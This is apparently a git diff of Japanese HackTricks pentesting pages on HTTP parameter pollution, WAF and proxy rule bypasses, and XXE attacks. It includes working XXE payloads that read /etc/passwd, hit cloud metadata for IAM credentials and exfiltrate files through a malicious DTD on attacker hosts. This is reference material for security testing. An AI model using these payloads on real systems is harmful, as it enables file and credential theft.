- **手法:** Burp Suiteのようなツールを使用して、攻撃者はリクエストを作成し、2つの `api_key` パラメータを含めました1つは正当であり、もう1つは悪意を持っています。サーバーは最後の出現のみを処理し、APIキーを攻撃者が提供した値に更新します。
- **手法:** Burp Suiteのようなツールを使用して、攻撃者はリクエストを作成しました。このリクエストには2つの `api_key` パラメータが含まれており、1つは正当で、もう1つは悪意を持っています。サーバーは最後の出現のみを処理し、APIキーを攻撃者が提供した値に更新します。
- **結果:** 攻撃者は被害者のAPI機能を制御し、権限なくプライベートデータにアクセスしたり変更したりする可能性があります。
この例は、特にAPIキー管理などの重要な機能でセキュアなパラメータ処理の必要性を強調しています。
@ -63,28 +63,28 @@ HTTPパラメータ汚染HPPは、攻撃者がHTTPパラメータを操作
Web技術が重複するHTTPパラメータを処理する方法は異なり、HPP攻撃への脆弱性に影響します
- **Flask:** クエリ文字列 `a=1&a=2` で最初に遭遇したパラメータ値を採用し、初期のインスタンスを後続の重複より優先します。
- **PHPApache HTTP Server上:** 対照的に、与えられた例では `a=2` を選択し、最後のパラメータ値を優先します。この動作は、攻撃者の操作されたパラメータを元のパラメータよりも優先することで、意図しないHPP攻撃を間接的に容易にする可能性があります。
- **Flask:** クエリ文字列 `a=1&a=2` で最初に遭遇したパラメータ値を採用し、初期のインスタンスを後続の重複より優先します。
- **PHPApache HTTP Server上:** 対照的に、与えられた例では `a=2` を選択し、最後のパラメータ値を優先します。この動作は、攻撃者の操作されたパラメータを元のパラメータよりも優先することで、HPPの悪用を誤って容易にする可能性があります。
## 参考文献
* [https://medium.com/@shahjerry33/http-parameter-pollution-its-contaminated-85edc0805654](https://medium.com/@shahjerry33/http-parameter-pollution-its-contaminated-85edc0805654)
* [https://github.com/google/google-ctf/tree/master/2023/web-under-construction/solution](https://github.com/google/google-ctf/tree/master/2023/web-under-construction/solution)
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を通じてゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary>
HackTricks をサポートする他の方法:
* **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* **HackTricks で企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスウォッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見る
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦で **@carlospolopm**をフォローする**.**
* **ハッキングトリックを共有するために、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する**
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする。
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、**あなたのハッキングテクニックを共有**してください。
</details>

View file

@ -4,23 +4,23 @@
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法
HackTricksをサポートする他の方法:
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)で**フォロー**する。
- **HackTricks**および**HackTricks Cloud**のgithubリポジトリにPRを提出して、あなたのハッキングテクニックを共有してください。
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [Discordグループに参加](https://discord.gg/hRep4RUj7f)**または[telegramグループに参加](https://t.me/peass)**または**Twitter**で**フォロー**する 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## Nginx ACLルールのパス名操作によるバイパス <a href="#heading-pathname-manipulation-bypassing-reverse-proxies-and-load-balancers-security-rules" id="heading-pathname-manipulation-bypassing-reverse-proxies-and-load-balancers-security-rules"></a>
[この研究](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies)からのテクニック
[この研究からのテクニック](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies)。
Nginxのルール例
```plaintext
@ -98,9 +98,9 @@ Mod Securityのバージョン2でも同様のことが起こり、特定の拡
### 不正なヘッダー
[この研究](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies)によると、AWS WAFが適用されたHTTPヘッダー上のルールをバイパスすることが可能であり、AWSが適切に解析しなかったがバックエンドサーバーが解析した「不正な」ヘッダーを送信することでバイパスできました。
[この研究](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies)によると、AWS WAFが適用されたHTTPヘッダーをバイパスすることが可能であり、AWSが適切に解析しなかったがバックエンドサーバーが解析した「不正な」ヘッダーを送信することで実現できました。
例えば、次のリクエストを送信すると、ヘッダーX-QueryにSQLインジェクションが含まれています:
例えば、次のリクエストにSQLインジェクションを含むヘッダーX-Queryを送信することが挙げられます:
```http
GET / HTTP/1.1\r\n
Host: target.com\r\n
@ -109,15 +109,13 @@ X-Query: Value\r\n
Connection: close\r\n
\r\n
```
AWS WAFをバイパスすることが可能でした。これは、次の行がヘッダーの値の一部であることを理解しなかったためで、一方、NODEJSサーバーは理解していましたこれは修正されました
## 参考文献
## 参考
* [https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies)
* [https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/)
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
@ -125,12 +123,12 @@ AWS WAFをバイパスすることが可能でした。これは、次の行が
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法:
HackTricks をサポートする他の方法:
* **HackTricksで企業を宣伝したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を手に入れ
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォローする。**
* **ハッキングトリックを共有するために、** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
* [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手す
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** をフォローする。**
* **HackTricks** と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください
</details>

View file

@ -2,31 +2,31 @@
<details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手す
- [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れ
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)をフォローする
- **ハッキングトリックを共有するには、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
- **ハッキングトリックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks) **と** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリにPRを提出してください。**
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## XMLの基礎
XMLは、データの格納と転送を目的としたマークアップ言語であり、記述的なタグの使用を可能にする柔軟な構造を特徴としています。HTMLとは異なり、事前定義されたタグに制限されていない点が異なります。JSONの台頭に伴い、XMLの重要性は低下していますが、初期のAJAX技術での役割は大きかったです。
XMLは、データの保存と転送を目的としたマークアップ言語であり、記述的に名前付けられたタグの使用を可能にする柔軟な構造を特徴としています。HTMLとは異なり、事前定義されたタグに制限されていない点が異なります。JSONの台頭に伴い、XMLの重要性は低下していますが、初期のAJAX技術での役割は大きかったです。
- **エンティティを通じたデータ表現**XMLのエンティティは、`&lt;`や`&gt;`のような特殊文字を含むデータの表現を可能にし、これらは`<`や`>`に対応してXMLのタグシステムとの競合を避けます。
- **XML要素の定義**XMLは要素タイプの定義を許可し、要素がどのように構造化され、どのようなコンテンツを含むかを示すことができます。任意の種類のコンテンツから特定の子要素まで含めることができます。
- **Document Type Definition (DTD)**DTDはXMLにおいて重要であり、文書の構造と含むデータの種類を定義します。内部、外部、または組み合わせのDTDは、文書のフォーマットと検証方法を指示します。
- **カスタムおよび外部エンティティ**XMLは柔軟なデータ表現のためにDTD内でカスタムエンティティの作成をサポートします。URLで定義された外部エンティティは、特にXML External EntityXXE攻撃の文脈でセキュリティ上の懸念を引き起こします。これらはXMLパーサーが外部データソースを処理する方法を悪用します`<!DOCTYPE foo [ <!ENTITY myentity "value" > ]>`
- **パラメータエンティティを使用したXXEの検出**通常の方法がパーサーのセキュリティ対策により失敗した場合、XMLパラメータエンティティを利用してXXEの脆弱性を検出することができます。これらのエンティティを使用すると、DNSルックアップのトリガーや制御されたドメインへのHTTPリクエストなどの帯域外検出技術を使用して、脆弱性を確認できます。
- **XML要素の定義**XMLは、要素の構造や含まれるコンテンツの種類を概説する要素タイプの定義を可能にします。任意の種類のコンテンツから特定の子要素まで、要素がどのように構造化されるべきかやどのようなコンテンツを含むかを示します。
- **文書型定義DTD**DTDは、文書の構造とそれが含むデータの種類を定義するためにXMLで重要です。内部、外部、または組み合わせのDTDは、文書のフォーマットと検証方法を案内し、指示します。
- **カスタムおよび外部エンティティ**XMLは柔軟なデータ表現のためにDTD内でカスタムエンティティの作成をサポートします。URLで定義された外部エンティティは、特にXML External EntityXXE攻撃の文脈でXMLパーサーが外部データソースを処理する方法を悪用する攻撃においてセキュリティ上の懸念を引き起こします:`<!DOCTYPE foo [ <!ENTITY myentity "value" > ]>`
- **パラメータエンティティを使用したXXEの検出**通常の方法がパーサーのセキュリティ対策により失敗した場合、XMLパラメータエンティティを利用してXXEの脆弱性を検出することができます。これらのエンティティを使用すると、DNSルックアップのトリガーや制御されたドメインへのHTTPリクエストを行うなど、帯域外検出技術を使用して脆弱性を確認できます。
- `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///etc/passwd" > ]>`
- `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://attacker.com" > ]>`
@ -45,6 +45,8 @@ XMLは、データの格納と転送を目的としたマークアップ言語
<storeId>1</storeId>
</stockCheck>
```
![](<../.gitbook/assets/image (867).png>)
### ファイルの読み取り
さまざまな方法で `/etc/passwd` を読み取ってみましょう。Windows の場合は、`C:\windows\system32\drivers\etc\hosts` を読み取ることができます。
@ -55,13 +57,15 @@ XMLは、データの格納と転送を目的としたマークアップ言語
<!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]>
<data>&example;</data>
```
![](<../.gitbook/assets/image (83).png>)
この2番目のケースは、WebサーバーがPHPを使用している場合にファイルを抽出するのに役立ちますPortswiggers labsの場合ではありません
```xml
<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY example SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]>
<data>&example;</data>
```
この第3のケースでは、`Element stockCheck` を ANY として宣言していることに注意してください。
この第のケースでは、`Element stockCheck` を ANY として宣言していることに注意してください。
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
@ -87,7 +91,7 @@ XMLは、データの格納と転送を目的としたマークアップ言語
```
### SSRF
XXEを使用してクラウド内のSSRFを悪用することができます。
XXEを使用してクラウド内のSSRFを悪用することができます。
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"> ]>
@ -95,7 +99,7 @@ XXEを使用して、クラウド内のSSRFを悪用することができます
```
### Blind SSRF
**以前コメントされたテクニック**を使用して、サーバーにアクセスさせて脆弱性を表示させることができます。しかし、それがうまくいかない場合、おそらく**XMLエンティティが許可されていない**ためかもしれません。その場合は、**XMLパラメータエンティティ**を使用してみることができます:
**以前にコメントされたテクニック**を使用すると、サーバーにアクセスして、脆弱性を表示することができます。しかし、それがうまくいかない場合、おそらく**XMLエンティティが許可されていない**ためです。その場合は、**XMLパラメータエンティティ**を使用してみることができます:
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://gtd8nhwxylcik0mt2dgvpeapkgq7ew.burpcollaborator.net"> %xxe; ]>
@ -103,9 +107,9 @@ XXEを使用して、クラウド内のSSRFを悪用することができます
```
### "Blind" SSRF - データの外部への持ち出し
**この場合、サーバーに悪意のあるペイロードを含む新しいDTDを読み込ませ、ファイルの内容をHTTPリクエストを介して送信します(**複数行のファイルの場合は、例えばこの基本サーバーを使用して** _**ftp://**_ **を介してそれを外部に持ち出すことができます [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**)。この説明は** [**Portswiggers lab here**](https://portswigger.net/web-security/xxe/blind)**に基づいています。**
**この場合、サーバーに新しい悪意のあるペイロードを含むDTDを読み込ませ、ファイルの内容をHTTPリクエスト経由で送信します(**複数行のファイルの場合は、例えばこの基本サーバーを使用して** _**ftp://**_ 経由で持ち出すこともできます [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**)。この説明は** [**Portswiggers lab here**](https://portswigger.net/web-security/xxe/blind)**に基づいています。**
与えられた悪意のあるDTDでは、データを外部に持ち出すために以下の手順が実行されます:
悪意のあるDTDでは、データを持ち出すために以下の手順が実行されます
### 悪意のあるDTDの例
@ -120,10 +124,10 @@ XXEを使用して、クラウド内のSSRFを悪用することができます
1. **パラメータエンティティの定義:**
* XMLパラメータエンティティ `%file` が作成され、`/etc/hostname` ファイルの内容を読み込みます。
* 別のXMLパラメータエンティティ `%eval` が定義されます。これは新しいXMLパラメータエンティティ `%exfiltrate` を動的に宣言します。`%exfiltrate` エンティティは、`%file` エンティティの内容をURLのクエリ文字列内で攻撃者のサーバーにHTTPリクエストを行うように設定されます。
* 別のXMLパラメータエンティティ `%eval` が定義されます。これは新しいXMLパラメータエンティティ `%exfiltrate` を動的に宣言します。`%exfiltrate` エンティティは、`%file` エンティティの内容をURLのクエリ文字列内で攻撃者のサーバーにHTTPリクエストするように設定されます。
2. **エンティティの実行:**
* `%eval` エンティティが使用され、`%exfiltrate` エンティティの動的宣言が実行されます。
* `%exfiltrate` エンティティが使用され、ファイルの内容を含むHTTPリクエストが指定されたURLにトリガーされます。
* 次に `%exfiltrate` エンティティが使用され、ファイルの内容を含めた指定されたURLにHTTPリクエストがトリガーされます。
攻撃者は、この悪意のあるDTDを通常 `http://web-attacker.com/malicious.dtd` のようなURLで自分の管理下のサーバーにホストします。
@ -133,16 +137,14 @@ XXEを使用して、クラウド内のSSRFを悪用することができます
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
```
このペイロードはXMLパラメータエンティティ`%xxe`を定義し、それをDTD内に組み込みます。XMLパーサーによって処理されると、このペイロードは攻撃者のサーバーから外部DTDを取得します。その後、パーサーはDTDをインラインで解釈し、悪意のあるDTDに記載された手順を実行し、`/etc/hostname`ファイルを攻撃者のサーバーに外部流出させます。
### エラーベース外部DTD
**この場合、サーバーに悪意のあるDTDを読み込ませ、ファイルの内容をエラーメッセージ内に表示させますエラーメッセージを見ることができる場合にのみ有効です。** [**こちらの例から。**](https://portswigger.net/web-security/xxe/blind)
**この場合、サーバーに悪意のあるDTDを読み込ませ、ファイルの内容をエラーメッセージ内に表示させますこれはエラーメッセージを見ることができる場合にのみ有効です)。** [**こちらの例から。**](https://portswigger.net/web-security/xxe/blind)
悪意のある外部Document Type DefinitionDTDを使用して、XMLパースエラーメッセージをトリガーし、`/etc/passwd`ファイルの内容を明らかにすることができます。これは以下の手順によって達成されます:
悪意のある外部Document Type DefinitionDTDを使用して、XMLパースエラーメッセージをトリガーし、`/etc/passwd`ファイルの内容を公開することができます。これは以下の手順によって達成されます:
1. `/etc/passwd`ファイルの内容を含む`file`という名前のXMLパラメータエンティティが定義されます。
2. `eval`という名前のXMLパラメータエンティティが定義され、`error`という別のXMLパラメータエンティティの動的宣言を組み込みます。この`error`エンティティは評価されると、存在しないファイルを読み込もうとし、その名前として`file`エンティティの内容を組み込みます。
2. 別のXMLパラメータエンティティである`eval`が定義され、`error`という名前の別のXMLパラメータエンティティの動的宣言を組み込みます。この`error`エンティティは評価されると、存在しないファイルを読み込もうとし、その名前として`file`エンティティの内容を組み込みます。
3. `eval`エンティティが呼び出され、`error`エンティティの動的宣言が行われます。
4. `error`エンティティの呼び出しにより、存在しないファイルを読み込もうとする試みが行われ、`/etc/passwd`ファイルの内容がファイル名の一部として含まれたエラーメッセージが生成されます。
@ -152,11 +154,11 @@ XXEを使用して、クラウド内のSSRFを悪用することができます
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
```
### **エラーベースsystem DTD**
### **エラーメッセージベース (system DTD)**
では、**アウトオブバンドインタラクションがブロックされている**(外部接続が利用できない)場合の盲目的なXXE脆弱性はどうなるでしょうか。
では、**アウトオブバンドインタラクションがブロックされている**場合の盲目的なXXE脆弱性はどうなるでしょうか(外部接続が利用できない)
XML言語仕様の抜け穴により、**ドキュメントのDTDが内部および外部の宣言を混在させるときにエラーメッセージを通じて機密データが公開**される可能性があります。この問題により、外部で宣言されたエンティティを内部で再定義することが可能となり、エラーベースのXXE攻撃を実行することが容易になります。このような攻撃は、元々外部DTDで宣言されたXMLパラメータエンティティを内部DTDから再定義することを悪用します。サーバーによってアウトオブバンド接続がブロックされている場合、攻撃者は攻撃を実行するためにローカルDTDファイルに依存する必要があり、パーシングエラーを誘発して機密情報を公開することを目指します。
XML言語仕様の抜け穴により、**ドキュメントのDTDが内部と外部の宣言を混在させたときにエラーメッセージを通じて機密データが公開**される可能性があります。この問題により、外部で宣言されたエンティティを内部で再定義することが可能となり、エラーベースのXXE攻撃を実行できます。このような攻撃は、外部DTDで元々宣言されたXMLパラメータエンティティを内部DTDから再定義することを悪用します。サーバーによってアウトオブバンド接続がブロックされている場合、攻撃者は攻撃を実行するためにローカルDTDファイルに依存する必要があり、パーシングエラーを誘発して機密情報を公開することを目指します。
サーバーのファイルシステムに`/usr/local/app/schema.dtd`にあるDTDファイルが存在し、`custom_entity`というエンティティが定義されているとします。攻撃者は、次のようにハイブリッドDTDを送信することで、`/etc/passwd`ファイルの内容を公開するXMLパーシングエラーを誘発することができます
```xml
@ -173,11 +175,11 @@ XML言語仕様の抜け穴により、**ドキュメントのDTDが内部およ
```
以下の手順は、このDTDによって実行されます
* `local_dtd` という名前のXMLパラメータエンティティの定義に、サーバーのファイルシステムにある外部DTDファイルが含まれています。
* 外部DTDで元々定義されていた `custom_entity` XMLパラメータエンティティの再定義が行われ、[エラーベースのXXEエクスプロイト](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages)をカプセル化するように設計されています。この再定義は、`/etc/passwd` ファイルの内容を公開するためにパースエラーを引き起こすことを目的としています。
* `local_dtd` エンティティを使用することで、外部DTDが参照され、新しく定義された `custom_entity`含まれます。この一連のアクションにより、エクスプロイトによって狙われるエラーメッセージが発生します。
* `local_dtd` という名前のXMLパラメータエンティティの定義に、サーバーのファイルシステムにある外部DTDファイルが含まれています。
* 外部DTDで元々定義されていた `custom_entity` XMLパラメータエンティティの再定義が行われ、[エラーベースのXXE攻撃](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages)をカプセル化するように設計されています。この再定義は、`/etc/passwd` ファイルの内容を公開するためにパースエラーを引き起こすようになっています。
* `local_dtd` エンティティを使用することで、外部DTDが参照され、新しく定義された `custom_entity`包括されます。この一連のアクションにより、攻撃によって狙われるエラーメッセージが発生します。
**実際の例** GNOMEデスクトップ環境を使用しているシステムでは、`/usr/share/yelp/dtd/docbookx.dtd` にDTDがあり、`ISOamso` というエンティティが含まれています。
**実際の例:** GNOMEデスクトップ環境を使用しているシステムでは、`/usr/share/yelp/dtd/docbookx.dtd` に `ISOamso` というエンティティが含まれていることがよくあります。
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
@ -192,7 +194,7 @@ XML言語仕様の抜け穴により、**ドキュメントのDTDが内部およ
]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
```
このテクニックでは、**内部DTDを使用するため、まず有効なDTDを見つける必要があります**。これを行うには、サーバーが使用している**OS/ソフトウェアをインストール**して、**デフォルトDTDを検索**するか、システム内の**デフォルトDTDのリストを取得**して、存在するかどうかを**確認**することができます
このテクニックでは、**内部DTDを使用するため、まず有効なDTDを見つける必要があります**。これを行うには、サーバーが使用している**OS/ソフトウェアをインストール**して、**いくつかのデフォルトDTDを検索**するか、システム内の**デフォルトDTDのリストを取得**して、存在するかどうかを**確認**することができます
```xml
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
@ -203,7 +205,7 @@ For more information check [https://portswigger.net/web-security/xxe/blind](http
### システム内のDTDの検出
以下の素晴らしいgithubリポジトリでは、**システム内に存在する可能性のあるDTDのパス**を見つけることができます:
の素晴らしいgithubリポジトリでは、**システム内に存在する可能性のあるDTDのパス**を見つけることができます:
{% embed url="https://github.com/GoSecure/dtd-finder/tree/master/list" %}
@ -219,43 +221,42 @@ Testing 0 entities : []
[=] Found a DTD: /tomcat/lib/servlet-api.jar!/jakarta/servlet/resources/XMLSchema.dtd
Testing 0 entities : []
```
### XXEを介したOffice Open XMLパーサー
### Office Open XML パーサーを介した XXE
この攻撃の詳細な説明については、[Detectifyの素晴らしい投稿](https://labs.detectify.com/2021/09/15/obscure-xxe-attacks/)の2番目のセクションをご覧ください。
この攻撃の詳細については、[この素晴らしい投稿](https://labs.detectify.com/2021/09/15/obscure-xxe-attacks/) の**2番目のセクション**を**Detectify**からご確認ください。
多くのWebアプリケーションがMicrosoft Officeドキュメントのアップロード機能を提供しており、これらのドキュメントから特定の詳細を抽出します。たとえば、Webアプリケーションは、ユーザーがXLSX形式のスプレッドシートをアップロードしてデータをインポートすることを許可するかもしれません。パーサーがスプレッドシートからデータを抽出するためには、少なくとも1つのXMLファイルを解析する必要があります。
多くのWebアプリケーションが**Microsoft Office ドキュメントのアップロード機能**を提供し、その後これらのドキュメントから特定の詳細を抽出します。たとえば、WebアプリケーションがXLSX形式のスプレッドシートをアップロードしてデータをインポートすることを許可するかもしれません。パーサーがスプレッドシートからデータを抽出するためには、少なくとも1つのXMLファイルを解析する必要があります。
この脆弱性をテストするためには、XXEペイロードを含むMicrosoft Officeファイルを作成する必要があります。最初のステップは、ドキュメントを解凍できる空のディレクトリを作成することです。
この脆弱性をテストするには、**XXE ペイロードを含む Microsoft Office ファイルを作成する**必要があります。最初のステップは、ドキュメントを解凍できる空のディレクトリを作成することです。
ドキュメントを解凍した後、`./unzipped/word/document.xml`にあるXMLファイルを好みのテキストエディタたとえばvimで開いて編集する必要があります。 XMLを変更して、通常はHTTPリクエストで始まる所望のXXEペイロードを含める必要があります。
ドキュメントを解凍した後、`./unzipped/word/document.xml` にある XML ファイルを好みのテキストエディタ(たとえば vimで開いて編集する必要があります。XML を編集して、通常はHTTPリクエストから始まる所望の XXE ペイロードを含める必要があります。
変更されたXML行は、2つのルートXMLオブジェクトの間に挿入する必要があります。リクエスト用の監視可能なURLでURLを置換することが重要です。
変更された XML 行は、2つのルート XML オブジェクトの間に挿入する必要があります。リクエストを監視可能な URL に置き換えることが重要です。
最後に、ファイルをzipして悪意のあるpoc.docxファイルを作成できます。以前に作成した「unzipped」ディレクトリから、次のコマンドを実行する必要があります
最後に、ファイルを zip 圧縮して悪意のある poc.docx ファイルを作成できます。以前に作成した "unzipped" ディレクトリから、次のコマンドを実行する必要があります:
これで、作成したファイルを潜在的に脆弱なWebアプリケーションにアップロードし、Burp Collaboratorログにリクエストが表示されることを期待できます。
これで、作成したファイルを潜在的に脆弱なWebアプリケーションにアップロードし、Burp Collaborator ログにリクエストが表示されることを期待できます。
### Jar: プロトコル
**jar**プロトコルは、**Javaアプリケーション**内でのみアクセス可能です。これは、**PKZIP**アーカイブ(例:`.zip`、`.jar`など)内のファイルアクセスを可能にするよう設計されており、ローカルおよびリモートファイルの両方に対応しています。
**jar** プロトコルは、**Java アプリケーション**内でのみアクセス可能です。これは、**PKZIP** アーカイブ(たとえば `.zip`, `.jar` など)内のファイルアクセスを可能にするよう設計されており、ローカルおよびリモートファイルの両方に対応しています。
```
jar:file:///var/myarchive.zip!/file.txt
jar:https://download.host.com/myarchive.zip!/file.txt
```
{% hint style="danger" %}
